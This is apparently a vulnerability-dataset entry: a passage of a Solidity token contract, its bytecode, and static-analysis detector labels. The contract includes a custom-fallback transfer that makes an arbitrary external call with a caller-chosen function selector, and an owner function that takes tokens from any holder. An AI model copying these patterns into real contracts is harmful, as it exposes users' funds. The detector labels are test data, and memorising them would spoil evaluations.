unixTimes.length); for(uint j = 0; j < targets.length; j++){ require(unlockUnixTime[targets[j]] < unixTimes[j]); unlockUnixTime[targets[j]] = unixTimes[j]; LockedFunds(targets[j], unixTimes[j]); } } /** * @dev Function that is called when a user or another contract wants to transfer funds */ function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value, bytes _data) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } /** * @dev Standard function transfer similar to ERC20 transfer with no _data * Added due to backwards compatibility reasons */ function transfer(address _to, uint _value) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } // assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length > 0); } // function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } // function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * Added due to backwards compatibility with ERC20 * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0) && _value > 0 && balanceOf[_from] >= _value && allowance[_from][msg.sender] >= _value && frozenAccount[_from] == false && frozenAccount[_to] == false && now > unlockUnixTime[_from] && now > unlockUnixTime[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Allows _spender to spend no more than _value tokens in your behalf * Added due to backwards compatibility with ERC20 * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender * Added due to backwards compatibility with ERC20 * @param _owner address The address which owns the funds * @param _spender address The address which will spend the funds */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowance[_owner][_spender]; } /** * @dev Burns a specific amount of tokens. * @param _from The address that will burn the tokens. * @param _unitAmount The amount of token to be burned. */ function burn(address _from, uint256 _unitAmount) onlyOwner public { require(_unitAmount > 0 && balanceOf[_from] >= _unitAmount); balanceOf[_from] = balanceOf[_from].sub(_unitAmount); totalSupply = totalSupply.sub(_unitAmount); Burn(_from, _unitAmount); } modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _unitAmount The amount of tokens to mint. */ function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) { require(_unitAmount > 0); totalSupply = totalSupply.add(_unitAmount); balanceOf[_to] = balanceOf[_to].add(_unitAmount); Mint(_to, _unitAmount); Transfer(address(0), _to, _unitAmount); return true; } /** * @dev Function to stop minting new tokens. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } /** * @dev Function to distribute tokens to the list of addresses by the provided amount */ function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) { require(amount > 0 && addresses.length > 0 && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); amount = amount.mul(1e8); uint256 totalAmount = amount.mul(addresses.length); require(balanceOf[msg.sender] >= totalAmount); for (uint j = 0; j < addresses.length; j++) { require(addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount); Transfer(msg.sender, addresses[j], amount); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); uint256 totalAmount = 0; for(uint j = 0; j < addresses.length; j++){ require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e8); totalAmount = totalAmount.add(amounts[j]); } require(balanceOf[msg.sender] >= totalAmount); for (j = 0; j < addresses.length; j++) { balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]); Transfer(msg.sender, addresses[j], amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } /** * @dev Function to collect tokens from the list of addresses */ function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length); uint256 totalAmount = 0; for (uint j = 0; j < addresses.length; j++) { require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e8); require(balanceOf[addresses[j]] >= amounts[j]); balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]); totalAmount = totalAmount.add(amounts[j]); Transfer(addresses[j], msg.sender, amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount); return true; } function setDistributeAmount(uint256 _unitAmount) onlyOwner public { distributeAmount = _unitAmount; } /** * @dev Function to distribute tokens to the msg.sender automatically * If distributeAmount is 0, this function doesn't work */ function autoDistribute() payable public { require(distributeAmount > 0 && balanceOf[owner] >= distributeAmount && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); if(msg.value > 0) owner.transfer(msg.value); balanceOf[owner] = balanceOf[owner].sub(distributeAmount); balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount); Transfer(owner, msg.sender, distributeAmount); } /** * @dev fallback function */ function() payable public { autoDistribute(); } }
0x6080604052600436106101505763ffffffff60e060020a60003504166305d2035b811461015a57806306fdde0314610183578063095ea7b31461020d57806318160ddd1461023157806323b872dd14610258578063313ce5671461028257806340c10f19146102ad5780634f25eced146102d15780635ab89248146102e657806364ddc605146102fb57806370a08231146103895780637d64bcb4146103aa5780638da5cb5b146103bf57806394594625146103f057806395d89b41146104475780639dc29fac1461045c578063a8f11eb914610150578063a9059cbb14610480578063b414d4b6146104a4578063be45fd62146104c5578063c341b9f61461052e578063cbbe974b14610587578063d39b1d48146105a8578063dd62ed3e146105c0578063dd924594146105e7578063f0dc417114610675578063f2fde38b14610703578063f6368f8a14610724575b6101586107cb565b005b34801561016657600080fd5b5061016f61092f565b604080519115158252519081900360200190f35b34801561018f57600080fd5b50610198610938565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d25781810151838201526020016101ba565b50505050905090810190601f1680156101ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021957600080fd5b5061016f600160a060020a03600435166024356109cb565b34801561023d57600080fd5b50610246610a31565b60408051918252519081900360200190f35b34801561026457600080fd5b5061016f600160a060020a0360043581169060243516604435610a37565b34801561028e57600080fd5b50610297610c3b565b6040805160ff9092168252519081900360200190f35b3480156102b957600080fd5b5061016f600160a060020a0360043516602435610c44565b3480156102dd57600080fd5b50610246610d44565b3480156102f257600080fd5b50610198610d4a565b34801561030757600080fd5b506040805160206004803580820135838102808601850190965280855261015895369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750949750610d819650505050505050565b34801561039557600080fd5b50610246600160a060020a0360043516610ee5565b3480156103b657600080fd5b5061016f610f00565b3480156103cb57600080fd5b506103d4610f66565b60408051600160a060020a039092168252519081900360200190f35b3480156103fc57600080fd5b506040805160206004803580820135838102808601850190965280855261016f953695939460249493850192918291850190849080828437509497505093359450610f759350505050565b34801561045357600080fd5b506101986111e6565b34801561046857600080fd5b50610158600160a060020a0360043516602435611247565b34801561048c57600080fd5b5061016f600160a060020a036004351660243561132c565b3480156104b057600080fd5b5061016f600160a060020a03600435166113ef565b3480156104d157600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261016f948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506114049650505050505050565b34801561053a57600080fd5b5060408051602060048035808201358381028086018501909652808552610158953695939460249493850192918291850190849080828437509497505050509135151592506114bd915050565b34801561059357600080fd5b50610246600160a060020a03600435166115c7565b3480156105b457600080fd5b506101586004356115d9565b3480156105cc57600080fd5b50610246600160a060020a03600435811690602435166115f5565b3480156105f357600080fd5b506040805160206004803580820135838102808601850190965280855261016f95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506116209650505050505050565b34801561068157600080fd5b506040805160206004803580820135838102808601850190965280855261016f95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506118d39650505050505050565b34801561070f57600080fd5b50610158600160a060020a0360043516611bb3565b34801561073057600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261016f948235600160a060020a031694602480359536959460649492019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a999881019791965091820194509250829150840183828082843750949750611c489650505050505050565b60006006541180156107f95750600654600154600160a060020a031660009081526008602052604090205410155b80156108155750336000908152600a602052604090205460ff16155b801561082f5750336000908152600b602052604090205442115b151561083a57600080fd5b600034111561087e57600154604051600160a060020a03909116903480156108fc02916000818181858888f1935050505015801561087c573d6000803e3d6000fd5b505b600654600154600160a060020a03166000908152600860205260409020546108ab9163ffffffff611f6616565b600154600160a060020a031660009081526008602052604080822092909255600654338252919020546108e39163ffffffff611f7816565b3360008181526008602090815260409182902093909355600154600654825190815291519293600160a060020a039091169260008051602061235a8339815191529281900390910190a3565b60075460ff1681565b60028054604080516020601f60001961010060018716150201909416859004938401819004810282018101909252828152606093909290918301828280156109c15780601f10610996576101008083540402835291602001916109c1565b820191906000526020600020905b8154815290600101906020018083116109a457829003601f168201915b5050505050905090565b336000818152600960209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60055490565b6000600160a060020a03831615801590610a515750600082115b8015610a755750600160a060020a0384166000908152600860205260409020548211155b8015610aa45750600160a060020a03841660009081526009602090815260408083203384529091529020548211155b8015610ac95750600160a060020a0384166000908152600a602052604090205460ff16155b8015610aee5750600160a060020a0383166000908152600a602052604090205460ff16155b8015610b115750600160a060020a0384166000908152600b602052604090205442115b8015610b345750600160a060020a0383166000908152600b602052604090205442115b1515610b3f57600080fd5b600160a060020a038416600090815260086020526040902054610b68908363ffffffff611f6616565b600160a060020a038086166000908152600860205260408082209390935590851681522054610b9d908363ffffffff611f7816565b600160a060020a038085166000908152600860209081526040808320949094559187168152600982528281203382529091522054610be1908363ffffffff611f6616565b600160a060020a038086166000818152600960209081526040808320338452825291829020949094558051868152905192871693919260008051602061235a833981519152929181900390910190a35060015b9392505050565b60045460ff1690565b600154600090600160a060020a03163314610c5e57600080fd5b60075460ff1615610c6e57600080fd5b60008211610c7b57600080fd5b600554610c8e908363ffffffff611f7816565b600555600160a060020a038316600090815260086020526040902054610cba908363ffffffff611f7816565b600160a060020a038416600081815260086020908152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a0385169160009160008051602061235a8339815191529181900360200190a350600192915050565b60065481565b60408051808201909152601381527f424c41434b2044494120434f494e205445414d00000000000000000000000000602082015281565b600154600090600160a060020a03163314610d9b57600080fd5b60008351118015610dad575081518351145b1515610db857600080fd5b5060005b8251811015610ee0578181815181101515610dd357fe5b90602001906020020151600b60008584815181101515610def57fe5b6020908102909101810151600160a060020a031682528101919091526040016000205410610e1c57600080fd5b8181815181101515610e2a57fe5b90602001906020020151600b60008584815181101515610e4657fe5b6020908102909101810151600160a060020a03168252810191909152604001600020558251839082908110610e7757fe5b90602001906020020151600160a060020a03167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c15778383815181101515610eb957fe5b906020019060200201516040518082815260200191505060405180910390a2600101610dbc565b505050565b600160a060020a031660009081526008602052604090205490565b600154600090600160a060020a03163314610f1a57600080fd5b60075460ff1615610f2a57600080fd5b6007805460ff191660011790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600154600160a060020a031681565b60008060008084118015610f8a575060008551115b8015610fa65750336000908152600a602052604090205460ff16155b8015610fc05750336000908152600b602052604090205442115b1515610fcb57600080fd5b610fdf846305f5e10063ffffffff611f8716565b9350610ff5855185611f8790919063ffffffff16565b3360009081526008602052604090205490925082111561101457600080fd5b5060005b84518110156111ab57848181518110151561102f57fe5b90602001906020020151600160a060020a03166000141580156110875750600a6000868381518110151561105f57fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16155b80156110ce5750600b600086838151811015156110a057fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b15156110d957600080fd5b61111e846008600088858151811015156110ef57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff611f7816565b60086000878481518110151561113057fe5b6020908102909101810151600160a060020a0316825281019190915260400160002055845185908290811061116157fe5b90602001906020020151600160a060020a031633600160a060020a031660008051602061235a833981519152866040518082815260200191505060405180910390a3600101611018565b336000908152600860205260409020546111cb908363ffffffff611f6616565b33600090815260086020526040902055506001949350505050565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156109c15780601f10610996576101008083540402835291602001916109c1565b600154600160a060020a0316331461125e57600080fd5b6000811180156112865750600160a060020a0382166000908152600860205260409020548111155b151561129157600080fd5b600160a060020a0382166000908152600860205260409020546112ba908263ffffffff611f6616565b600160a060020a0383166000908152600860205260409020556005546112e6908263ffffffff611f6616565b600555604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b600060606000831180156113505750336000908152600a602052604090205460ff16155b80156113755750600160a060020a0384166000908152600a602052604090205460ff16155b801561138f5750336000908152600b602052604090205442115b80156113b25750600160a060020a0384166000908152600b602052604090205442115b15156113bd57600080fd5b6113c684611fb2565b156113dd576113d6848483611fba565b91506113e8565b6113d68484836121fe565b5092915050565b600a6020526000908152604090205460ff1681565b600080831180156114255750336000908152600a602052604090205460ff16155b801561144a5750600160a060020a0384166000908152600a602052604090205460ff16155b80156114645750336000908152600b602052604090205442115b80156114875750600160a060020a0384166000908152600b602052604090205442115b151561149257600080fd5b61149b84611fb2565b156114b2576114ab848484611fba565b9050610c34565b6114ab8484846121fe565b600154600090600160a060020a031633146114d757600080fd5b82516000106114e557600080fd5b5060005b8251811015610ee057828181518110151561150057fe5b60209081029091010151600160a060020a0316151561151e57600080fd5b81600a6000858481518110151561153157fe5b602090810291909101810151600160a060020a03168252810191909152604001600020805460ff1916911515919091179055825183908290811061157157fe5b90602001906020020151600160a060020a03167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051808215151515815260200191505060405180910390a26001016114e9565b600b6020526000908152604090205481565b600154600160a060020a031633146115f057600080fd5b600655565b600160a060020a03918216600090815260096020908152604080832093909416825291909152205490565b6000806000808551118015611636575083518551145b80156116525750336000908152600a602052604090205460ff16155b801561166c5750336000908152600b602052604090205442115b151561167757600080fd5b5060009050805b84518110156117d9576000848281518110151561169757fe5b906020019060200201511180156116cf575084818151811015156116b757fe5b90602001906020020151600160a060020a0316600014155b80156117105750600a600086838151811015156116e857fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16155b80156117575750600b6000868381518110151561172957fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561176257600080fd5b61178e6305f5e100858381518110151561177857fe5b602090810290910101519063ffffffff611f8716565b848281518110151561179c57fe5b6020908102909101015283516117cf908590839081106117b857fe5b60209081029091010151839063ffffffff611f7816565b915060010161167e565b336000908152600860205260409020548211156117f557600080fd5b5060005b84518110156111ab5761182f848281518110151561181357fe5b906020019060200201516008600088858151811015156110ef57fe5b60086000878481518110151561184157fe5b6020908102909101810151600160a060020a0316825281019190915260400160002055845185908290811061187257fe5b90602001906020020151600160a060020a031633600160a060020a031660008051602061235a83398151915286848151811015156118ac57fe5b906020019060200201516040518082815260200191505060405180910390a36001016117f9565b60015460009081908190600160a060020a031633146118f157600080fd5b60008551118015611903575083518551145b151561190e57600080fd5b5060009050805b8451811015611b93576000848281518110151561192e57fe5b906020019060200201511180156119665750848181518110151561194e57fe5b90602001906020020151600160a060020a0316600014155b80156119a75750600a6000868381518110151561197f57fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16155b80156119ee5750600b600086838151811015156119c057fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b15156119f957600080fd5b611a0f6305f5e100858381518110151561177857fe5b8482815181101515611a1d57fe5b602090810290910101528351849082908110611a3557fe5b90602001906020020151600860008784815181101515611a5157fe5b6020908102909101810151600160a060020a03168252810191909152604001600020541015611a7f57600080fd5b611adb8482815181101515611a9057fe5b90602001906020020151600860008885815181101515611aac57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff611f6616565b600860008784815181101515611aed57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020558351611b22908590839081106117b857fe5b915033600160a060020a03168582815181101515611b3c57fe5b90602001906020020151600160a060020a031660008051602061235a8339815191528684815181101515611b6c57fe5b906020019060200201516040518082815260200191505060405180910390a3600101611915565b336000908152600860205260409020546111cb908363ffffffff611f7816565b600154600160a060020a03163314611bca57600080fd5b600160a060020a0381161515611bdf57600080fd5b600154604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008084118015611c695750336000908152600a602052604090205460ff16155b8015611c8e5750600160a060020a0385166000908152600a602052604090205460ff16155b8015611ca85750336000908152600b602052604090205442115b8015611ccb5750600160a060020a0385166000908152600b602052604090205442115b1515611cd657600080fd5b611cdf85611fb2565b15611f505733600090815260086020526040902054841115611d0057600080fd5b33600090815260086020526040902054611d20908563ffffffff611f6616565b3360009081526008602052604080822092909255600160a060020a03871681522054611d52908563ffffffff611f7816565b600160a060020a038616600081815260086020908152604080832094909455925185519293919286928291908401908083835b60208310611da45780518252601f199092019160209182019101611d85565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015611e36578181015183820152602001611e1e565b50505050905090810190601f168015611e635780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185885af193505050501515611e8357fe5b826040518082805190602001908083835b60208310611eb35780518252601f199092019160209182019101611e94565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208a83529351939550600160a060020a038b16945033937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a4604080518581529051600160a060020a03871691339160008051602061235a8339815191529181900360200190a3506001611f5e565b611f5b8585856121fe565b90505b949350505050565b600082821115611f7257fe5b50900390565b600082820183811015610c3457fe5b600080831515611f9a57600091506113e8565b50828202828482811515611faa57fe5b0414610c3457fe5b6000903b1190565b336000908152600860205260408120548190841115611fd857600080fd5b33600090815260086020526040902054611ff8908563ffffffff611f6616565b3360009081526008602052604080822092909255600160a060020a0387168152205461202a908563ffffffff611f7816565b600160a060020a03861660008181526008602090815260408083209490945592517fc0ee0b8a0000000000000000000000000000000000000000000000000000000081523360048201818152602483018a90526060604484019081528951606485015289518c9850959663c0ee0b8a9693958c958c956084909101928601918190849084905b838110156120c85781810151838201526020016120b0565b50505050905090810190601f1680156120f55780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561211657600080fd5b505af115801561212a573d6000803e3d6000fd5b50505050826040518082805190602001908083835b6020831061215e5780518252601f19909201916020918201910161213f565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208a83529351939550600160a060020a038b16945033937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a4604080518581529051600160a060020a03871691339160008051602061235a8339815191529181900360200190a3506001949350505050565b3360009081526008602052604081205483111561221a57600080fd5b3360009081526008602052604090205461223a908463ffffffff611f6616565b3360009081526008602052604080822092909255600160a060020a0386168152205461226c908463ffffffff611f7816565b600160a060020a0385166000908152600860209081526040918290209290925551835184928291908401908083835b602083106122ba5780518252601f19909201916020918201910161229b565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208983529351939550600160a060020a038a16945033937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a4604080518481529051600160a060020a03861691339160008051602061235a8339815191529181900360200190a350600193925050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820459d902a88d37f39b975d64597469558a993973349e98326a864d6cbf07d6b400029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
6,799